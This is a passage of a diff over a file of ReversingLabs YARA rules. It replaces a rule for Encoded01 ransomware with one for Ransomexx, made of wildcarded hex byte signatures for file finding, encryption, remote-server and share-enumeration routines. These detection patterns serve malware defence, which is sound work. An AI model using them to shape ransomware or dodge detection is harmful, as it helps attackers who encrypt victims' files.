+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 05 ?? ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6
+            05 ?? ?? ?? ?? ?? 8D 3D ?? ?? ?? ?? 33 C9 C6 07 ?? 47 41 81 F9 ?? ?? ?? ?? 75 ?? C7
+            05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A
+            ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ??
+            ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? 81 3D
+            ?? ?? ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 F0 46 8A 06 3C ?? 0F 85 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
         }
-		$find_files = {
-            57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57
-            53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ??
-            5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ??
-            80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ??
-            ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ??
-            85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ??
-            8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
+		$encrypt_file_2 = {
+            A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 81 3D ?? ?? ?? ??
+            ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ??
+            E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 2D ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? A3 ??
+            ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ??
+            ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ??
+            ?? ?? ?? E8
         }
-		$enum_procs = {
-            33 C9 66 90 8A 84 0D ?? ?? ?? ?? 0F B6 C0 83 E8 ?? 8D 04 C0 99 F7 BD ?? ?? ?? ?? 8D
-            42 ?? 99 F7 BD ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? A1 ?? ?? ?? ?? 8B
-            40 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 33 D2 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 41
-            ?? 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? 51 FF D0 85 C0 75 ?? 6A ?? E8 ?? ?? ?? ??
-            83 C4 ?? 85 C0 74 ?? C7 00 ?? ?? ?? ?? 8D 50 ?? 8B 8D ?? ?? ?? ?? 89 08 C7 02 ?? ??
-            ?? ?? 8B 4E ?? 89 48 ?? 8B 4E ?? 89 01 89 56 ?? 8D 85 ?? ?? ?? ?? 50 57 FF D3 85 C0
-            0F 85 ?? ?? ?? ?? 5B A1 ?? ?? ?? ?? 8B 40 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 33 D2 33 C9
-            E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 41 ?? 57 FF D0 8B 4D ?? 5F 33 CD 5E E8 ?? ?? ??
-            ?? 8B E5 5D C3
+		$remote_server_1 = {
+            E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ??
+            ?? ?? 83 F8 ?? 72 ?? C6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF
+            35 ?? ?? ?? ?? E8
+        }
+		$remote_server_2 = {
+            E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
+        }
+		$enum_shares_and_encrypt_files = {
+            E8 ?? ?? ?? ?? C1 C8 ?? BA ?? ?? ?? ?? 23 D0 60 83 FA ?? 75 ?? 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 F8 ?? 76 ?? 83 F8 ?? 74 ?? 8D 35 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 56 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 61 8A 06 46 0A C0 75 ?? 8A 06 0A C0 75 ?? 61 D1 C8 8A 1D ??
+            ?? ?? ?? FE C3 88 1D ?? ?? ?? ?? 80 FB ?? 76 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($enum_procs) and ($encrypt_files)
+		uint16(0)==0x5A4D and $encrypt_file_1 and $encrypt_file_2 and $remote_server_1 and $remote_server_2 and $enum_shares_and_encrypt_files
 }
-rule REVERSINGLABS_Win32_Ransomware_Encoded01 : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Ransomexx : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Encoded01 ransomware."
+		description = "Yara rule that detects Ransomexx ransomware."
 		author = "ReversingLabs"
-		id = "923d987e-f888-5b6a-9ebd-ee1257124aed"
-		date = "2021-12-16"
-		modified = "2021-12-16"
+		id = "5e62660d-2696-56c7-9322-fed6ce9d36ff"
+		date = "2020-11-26"
+		modified = "2020-11-26"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Encoded01.yara#L1-L141"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "f6f872290f15f4c564911bb099824c47cb13164457e1bcdb02dee441bc2d6b6a"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Ransomexx.yara#L1-L147"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "27b4132b7f16cafc40687e96a552ce59cc24ebf7679575680f170e3beee8a0a9"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42860,128 +42952,136 @@ rule REVERSINGLABS_Win32_Ransomware_Encoded01 : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Encoded01"
+		tc_detection_name = "Ransomexx"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$find_files_p1 = {
-            55 8B EC 51 B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 87 4D ?? 53 56 57 89 4D ?? 89 55
-            ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
-            64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 8B 15 ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ??
-            8B 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8B 55 ?? 66 83 7C 42 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 ??
-            ?? ?? ?? 8B 7D ?? 4F 85 FF 0F 8C ?? ?? ?? ?? 47 8D 85 ?? ?? ?? ?? 50 FF 75 ?? 68 ??
-            ?? ?? ?? 8B 45 ?? 8B 55 ?? FF 34 90 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ??
-            33 F6 46 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 8D
-            95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            0F 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ??
-            ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ??
-            ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ??
-            8B 45 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8A 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 84
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B F4 B3 ?? 85 F6 74 ?? C6 46 ?? ?? B0 ?? 66 C7 06 ?? ?? 88 5E ?? 88
+            46 ?? 8B C7 8D 50 ?? 90 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8B C6 8D 78 ?? 8A 08 40 84
+            C9 75 ?? 2B C7 8D 84 10 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? 57 50 FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 56 8B 75 ?? 56 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ??
+            ?? 8B F0 89 75 ?? 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 8D A5 ?? ?? ?? ?? 5F 5E 5B 8B E5
+            5D C3 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C4 89 45 ?? 85 C0 74 ?? C6 40 ?? ?? 88 18 88
+            58 ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 49 ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50
+            ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F
+            84 ?? ?? ?? ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A
         }
 		$find_files_p2 = {
-            C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 8B 95
-            ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8A 55 ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? A1
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 6A ?? 68 ??
-            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 8B 00 E8 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 3B 55 ?? 75 ?? 3B 45 ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? ?? 83 7D ?? ??
-            75 ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 73 ??
-            8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 E8 ?? ?? ?? ?? 59 89 45 ?? 83 7D ?? ?? 0F 84 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 8B 45 ?? E8 ??
-            ?? ?? ?? 8B D0 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? 8D 45 ?? 50 B9 ?? ?? ??
-            ?? 33 D2 33 C0 E8 ?? ?? ?? ?? 8B D0 8B 45 ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 E8 ?? ?? ?? ?? 59 89 45 ?? 83 7D ?? ?? 74
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 03 C0 50 8B 45 ?? E8 ?? ?? ??
-            ?? 8B D0 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? 8D 45 ?? 50 B9 ?? ?? ?? ?? 33
-            D2 33 C0 E8 ?? ?? ?? ?? 8B D0 8B 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? EB ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 74 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8A 45 ?? 50 8A 45 ?? 50 FF 75 ?? 68 ?? ??
-            ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B
-            55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0
-            40 84 C0 0F 85 ?? ?? ?? ?? 83 FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 4F
+            51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ??
+            ?? ?? ?? 8B C7 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 8B D0 8D 85 ?? ?? ?? ?? 8D 70 ??
+            8D 64 24 ?? 8A 08 40 84 C9 75 ?? 8B 1D ?? ?? ?? ?? 2B C6 8D 94 10 ?? ?? ?? ?? 52 6A
+            ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 56 FF
+            15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ??
+            ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 6A ?? 56 FF 15
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 FF 15 ?? ?? ?? ?? 85
+            C0 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 6A ??
+            FF D3 50 FF 15 ?? ?? ?? ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D A5 ?? ?? ?? ?? 5F 5E
+            5B 8B E5 5D C3
         }
-		$enum_resources = {
-            55 8B EC 83 C4 ?? 53 56 57 8B F9 89 55 ?? 8B F0 8B 5D ?? C6 45 ?? ?? 33 C0 89 03 33
-            C0 89 07 8D 45 ?? 50 8B 45 ?? 50 6A ?? 56 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 89 03 83 3B ?? 74 ?? 83 3B ?? 74 ??
-            C7 07 ?? ?? ?? ?? 8B 03 33 C9 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 03 50 57 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 8B F0 81 FE ?? ?? ?? ?? 75 ?? 8B C3 8B 55 ?? E8 ?? ?? ?? ?? EB
-            ?? BE ?? ?? ?? ?? EB ?? 81 FE ?? ?? ?? ?? 74 ?? 85 F6 0F 94 45 ?? 80 7D ?? ?? 75 ??
-            8B 03 E8 ?? ?? ?? ?? 33 C0 89 03 33 C0 89 07 8B 45 ?? 50 E8 ?? ?? ?? ?? 8A 45 ?? 5F
-            5E 5B 8B E5 5D C2
+		$find_files_p3 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B C7
+            8D 50 ?? 90 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D B4 00 ?? ?? ?? ?? 8D 86
+            ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ??
+            ?? ?? 56 57 53 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8D 4C 24 ??
+            51 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 8B 3D ?? ?? ?? ?? FF D7 83 F8 ??
+            0F 84 ?? ?? ?? ?? FF D7 E9 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84
+            24 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B
+            4D ?? 56 51 53 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 56 8D 94 24
+            ?? ?? ?? ?? 52 53 FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? E8 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0
+            74 ?? 66 83 38 ?? 74 ?? 68 ?? ?? ?? ?? 50 FF D7 85 C0 75 ?? FF 05 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8D 7C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 39 05 ?? ?? ?? ?? 0F 84
+            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 54 24 ?? 52 FF D7 85 C0 74 ?? 8D 44
         }
-		$remote_connection_p1 = {
-            BB ?? ?? ?? ?? 83 FB ?? 75 ?? 33 C0 89 45 ?? 83 FB ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 8B
-            C6 E8 ?? ?? ?? ?? 8B C6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 33 C0 89 45 ?? 8D 45 ??
-            50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 83 C0
-            ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 83 C2 ?? 8B 45 ?? 59 E8 ?? ?? ??
-            ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ??
-            ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 50 8D 85 ?? ?? ?? ?? 8B 55 ??
-            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 8B D0 42 8B 45 ?? 59 E8
-            ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            66 BA ?? ?? E8 ?? ?? ?? ?? 8B C8 49 BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 85 FF 0F
-            85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 48 0F 8E ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 45
-            ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A
-            ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89
-            45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
-            8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D
-            ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A
+		$find_files_p4 = {
+            24 ?? 50 8D 4C 24 ?? 51 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B7 44 24 ?? 8B 0D ??
+            ?? ?? ?? 3B C1 74 ?? 49 3B C1 74 ?? 8D 54 24 ?? 52 8D 44 24 ?? 50 FF D7 85 C0 74 ??
+            8D 4C 24 ?? 51 8D 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B7 44 24 ?? 8B
+            0D ?? ?? ?? ?? 3B C1 74 ?? 49 3B C1 74 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ??
+            ?? ?? ?? 8B 44 24 ?? 0B 44 24 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 6A ?? 6A ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ??
+            80 3B ?? 75 ?? 80 7B ?? ?? 75 ?? 8B 15 ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 8B 04 17 53
+            50 FF 15 ?? ?? ?? ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 8B 14 0F 68 ?? ??
+            ?? ?? 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0C 07 68 ?? ?? ?? ?? 53 51 FF 15 ?? ??
+            ?? ?? 8B 15 ?? ?? ?? ?? 8B 04 17 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24
+            ?? 50 FF 15 ?? ?? ?? ?? 53 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 33 C0
+            5B 8B E5 5D C2
         }
-		$remote_connection_p2 = {
-            68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74
-            ?? 8B 06 E8 ?? ?? ?? ?? 99 52 50 8B 45 ?? 03 C7 33 D2 3B 54 24 ?? 75 ?? 3B 04 24 5A
